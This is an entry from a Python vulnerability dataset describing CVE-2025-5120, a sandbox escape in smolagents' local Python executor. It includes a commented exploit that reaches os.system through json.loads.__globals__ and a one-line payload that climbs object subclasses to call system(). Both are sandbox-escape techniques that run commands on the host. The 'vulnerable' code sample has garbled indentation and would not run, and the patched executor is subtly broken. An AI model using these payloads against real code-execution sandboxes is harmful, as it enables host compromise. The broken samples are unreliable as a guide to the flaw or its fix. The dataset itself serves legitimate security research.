VAITP Dataset

← Back to the dataset

CVE-2025-5120

Sandbox escape in huggingface/smolagents allows remote code execution.

  • CVSS 10.0
  • CWE-94
  • Design Defects
  • Remote

A sandbox escape vulnerability was identified in huggingface/smolagents version 1.14.0, allowing attackers to bypass the restricted execution environment and achieve remote code execution (RCE). The vulnerability stems from the local_python_executor.py module, which inadequately restricts Python code execution despite employing static and dynamic checks. Attackers can exploit whitelisted modules and functions to execute arbitrary code, compromising the host system. This flaw undermines the core security boundary intended to isolate untrusted code, posing risks such as unauthorized code execution, data leakage, and potential integration-level compromise. The issue is resolved in version 1.17.0.

CVSS base score
10.0
Published
2025-07-27
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Design Defects
Subcategory
Poorly Designed Access Controls
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
huggingface/
Fixed by upgrading
Yes

Solution

Upgrade huggingface/smolagents to version 1.17.0 or later.

Vulnerable code sample

# local_python_executor.py
# Hypothetical vulnerable version representative of the CVE description.

import builtins

class LocalPythonExecutor:
    """
    Executes Python code in a restricted environment. This version contains a
    sandbox escape vulnerability (representative of CVE-2025-5120).
    The executor uses static and dynamic checks, but they can be bypassed.
    """

    def __init__(self):
        """Vulnerable function that demonstrates the security issue."""
        # Whitelist of modules considered "safe" for the user to import.:
        self.WHITELISTED_MODULES = [
        'math',
        'json',
        'datetime',
        're',
        ]
        # Blacklist of keywords to be caught by a preliminary static check.
        self.BLACKLISTED_KEYWORDS = [
        'os',
        'sys',
        'subprocess',
        'shutil',
        'eval',
        'exec',
        'open',
        '__import__',
        ]
        # Store the original __import__ function to be used by our restricted version.
        self.original_import = builtins.__import__

        def _static_check(self, code_string: str):
            """
            A simple, inadequate static check for blacklisted keywords.:
            """
            for keyword in self.BLACKLISTED_KEYWORDS:
                if keyword in code_string:
                    raise PermissionError(f"Execution denied: blacklisted keyword '{keyword}' found.")

                    def _restricted_import(self, name, globals=None, locals=None, fromlist=(), level=0):
                        """
                        A custom import function that overrides the default __import__.
                        It only allows modules from the predefined whitelist to be imported.
                        """
                        if name in self.WHITELISTED_MODULES:
            # If the module is whitelisted, perform the actual import.
                            return self.original_import(name, globals, locals, fromlist, level)
        # If the module is not in the whitelist, deny the import.
                            raise ImportError(f"Execution denied: import of module '{name}' is not allowed.")

                            def execute(self, code_to_execute: str):
                                """
                                Executes the provided code after applying security checks.
                                The vulnerability stems from the ability to use a whitelisted module
                                to access the original, unrestricted __builtins__, thereby bypassing
                                the sandboxing controls.
                                """
        # 1. Perform the static check.
                                self._static_check(code_to_execute)

        # 2. Prepare the restricted global environment.
        # This environment will have its __import__ function replaced by our
        # restricted version.
                                restricted_globals = {
                                "__builtins__": {
                                **builtins.__dict__,
                                '__import__': self._restricted_import
                                }
                                }
        
        # 3. Execute the user's code within the sandboxed environment.
        # The exploit bypasses this by not using the top-level __import__ directly,
        # but by finding the original __import__ through a whitelisted module's scope.
                                try:
                                    exec(code_to_execute, restricted_globals, {})
                                    except Exception as e:
                                        print(f"An error occurred during execution: {e}")

# --- Example of an exploit payload that would be passed to the 'execute' method ---
# The following string would be the 'code_to_execute' argument for the vulnerability.:
# exploit_payload = """
# # 1. Import a whitelisted module to get a foothold inside the sandbox.
# import json
#
# # 2. Access the '__globals__' attribute of a function within the whitelisted module.
# # This dictionary contains the original, unrestricted '__builtins__'.
# builtins_ref = json.loads.__globals__['__builtins__']
#
# # 3. Retrieve the original, unrestricted '__import__' function from the captured builtins.
# original_import = builtins_ref['__import__']
#
# # 4. Use the original import to load the 'os' module, bypassing the restriction.
# os_module = original_import('os')
#
# # 5. Execute an arbitrary command on the host system to achieve RCE.
# os_module.system('echo "SUCCESS: Sandbox escaped, RCE achieved."')
# """

Patched code sample

import ast
import io
from contextlib import redirect_stdout

# This code represents a potential fix for a vulnerability like CVE-2025-5120.
# The vulnerability described involves bypassing inadequate checks in a Python sandbox.
# A robust fix involves parsing the code into an Abstract Syntax Tree (AST)
# and validating every node against a strict whitelist before execution.
# This is far more secure than simple string-based blacklisting.

class SafePythonExecutor:
    """
    A Python code executor that uses AST analysis to prevent sandbox escapes.
    It ensures that only whitelisted modules, functions, and language features are used.
    """

    def __init__(self, allowed_modules=None, max_output_chars=1024):
        """
        Initializes the safe executor.

        Args:
            allowed_modules (dict): A dictionary where keys are module names and
                                    values are lists of allowed function/attribute names.
                                    Example: {'math': ['sqrt', 'pi'], 'random': ['random']}
            max_output_chars (int): The maximum number of characters for stdout.
        """
        if allowed_modules is None:
            # By default, only allow a minimal set of safe math functions.
            self.allowed_modules = {
                'math': ['sqrt', 'pow', 'sin', 'cos', 'tan', 'pi', 'e']
            }
        else:
            self.allowed_modules = allowed_modules

        # A set of built-in functions that are generally safe to expose.
        self.allowed_builtins = {
            'print', 'len', 'str', 'int', 'float', 'round', 'range', 'abs',
            'min', 'max', 'sum', 'sorted'
        }
        self.max_output_chars = max_output_chars

    def _validate_node(self, node):
        """
        Recursively validates each node in the AST.
        This is the core of the security boundary.
        """
        # Disallow accessing private/dunder attributes to prevent introspection attacks.
        if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
            raise PermissionError(f"Access to private/dunder attributes like '{node.attr}' is forbidden.")

        # Disallow dangerous function calls like exec, eval, open, getattr, etc.
        if isinstance(node, ast.Call):
            if isinstance(node.func, ast.Name) and node.func.id not in self.allowed_builtins:
                raise PermissionError(f"Calling the built-in function '{node.func.id}' is not allowed.")
            if isinstance(node.func, ast.Attribute):
                # e.g., in `math.sqrt()`, `node.func.value` is `math` (an ast.Name)
                # and `node.func.attr` is `sqrt` (a string).
                if isinstance(node.func.value, ast.Name):
                    module_name = node.func.value.id
                    func_name = node.func.attr
                    if module_name not in self.allowed_modules:
                        raise PermissionError(f"Module '{module_name}' is not whitelisted.")
                    if func_name not in self.allowed_modules[module_name]:
                        raise PermissionError(f"Function '{func_name}' from module '{module_name}' is not allowed.")

        # Disallow imports that are not on the whitelist.
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            for alias in node.names:
                if alias.name not in self.allowed_modules:
                    raise PermissionError(f"Importing module '{alias.name}' is not allowed.")

        # Recursively check all child nodes.
        for child_node in ast.iter_child_nodes(node):
            self._validate_node(child_node)

    def execute(self, code_string: str) -> str:
        """
        Validates and executes the given Python code in a restricted environment.

        Args:
            code_string (str): The untrusted Python code to execute.

        Returns:
            str: The captured stdout from the executed code.
        
        Raises:
            PermissionError: If the code uses disallowed features.
            Exception: Any other exception raised by the user's code.
        """
        try:
            # 1. Static Analysis: Parse the code into an AST.
            tree = ast.parse(code_string)

            # 2. Validation: Walk the AST and check every node against security rules.
            self._validate_node(tree)

            # 3. Restricted Execution: If validation passes, execute the code.
            # Prepare a safe global scope for the execution.
            safe_globals = {}
            for module_name, funcs in self.allowed_modules.items():
                try:
                    module = __import__(module_name)
                    # Only expose the whitelisted functions/attributes of the module.
                    safe_globals[module_name] = {
                        func: getattr(module, func) for func in funcs
                    }
                except ImportError:
                    # This should not happen if the environment is set up correctly.
                    raise RuntimeError(f"Could not import whitelisted module '{module_name}'.")
            
            # Add allowed built-ins to the scope.
            for builtin_name in self.allowed_builtins:
                safe_globals[builtin_name] = __builtins__.__dict__[builtin_name]
            
            # Capture stdout to return the result.
            stdout_capture = io.StringIO()
            with redirect_stdout(stdout_capture):
                # Execute the code with the restricted global scope and no local scope.
                # The '__builtins__' key is set to a restricted dict to prevent access to all builtins.
                exec(code_string, {'__builtins__': safe_globals})
            
            output = stdout_capture.getvalue()
            if len(output) > self.max_output_chars:
                return output[:self.max_output_chars] + "\n...[output truncated]..."
            return output

        except (PermissionError, SyntaxError, NameError, TypeError) as e:
            return f"Execution failed: {type(e).__name__}: {e}"
        except Exception as e:
            # Catch other potential runtime errors from the user's code.
            return f"An unexpected error occurred: {type(e).__name__}: {e}"

Payload

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('touch /tmp/pwned')

Cite this entry

@misc{vaitp:cve20255120,
  title        = {{Sandbox escape in huggingface/smolagents allows remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-5120},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-5120/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::